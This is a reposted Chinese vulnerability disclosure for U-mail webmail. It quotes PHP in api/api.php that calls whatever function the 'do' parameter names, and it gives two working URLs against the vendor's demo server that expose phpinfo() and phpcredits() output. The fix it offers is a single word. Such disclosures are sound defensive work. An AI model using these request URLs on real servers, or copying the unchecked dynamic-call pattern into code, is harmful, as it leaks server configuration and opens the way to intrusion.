U-mail某鸡肋代码注入导致敏感信息泄漏(demo测试成-自学php网

U-mail某鸡肋代码注入导致敏感信息泄漏(demo测试成

来源：自学PHP网时间：2015-04-15 15:00 作者：阅读:次

[导读] 漏洞文件：api api php:670行$do = trim( $_GET[ 39;do 39;] );if ( function_exists( $do ) ){ $do( );}else{ echo param_error;}exit( );直接来个动态函数，可惜没有参数可控，...

漏洞文件：api/api.php:670行

$do = trim( $_GET['do'] );
if ( function_exists( $do ) )
{
    $do( );
}
else
{
    echo "param_error";
}
exit( );

直接来个动态函数，可惜没有参数可控，只能控制$do,所以可以鸡肋的用来读些敏感信息如phpinfo()/phpcredits()等

官网demo:

http://mail.comingchina.com/webmail/api/api.php?do=phpinfo

http://mail.comingchina.com/webmail/api/api.php?do=phpcredits

修复方案：

过滤

如何轻松防范DEDECMS(织梦)挂马 - 网站安全 - 自学

某OA系统两处SQL注射到GetShell(含详细修复方案)

子栏目

U-mail某鸡肋代码注入导致敏感信息泄漏(demo测试成

官网demo:

修复方案：

最新评论

添加评论

更多文章推荐

添加评论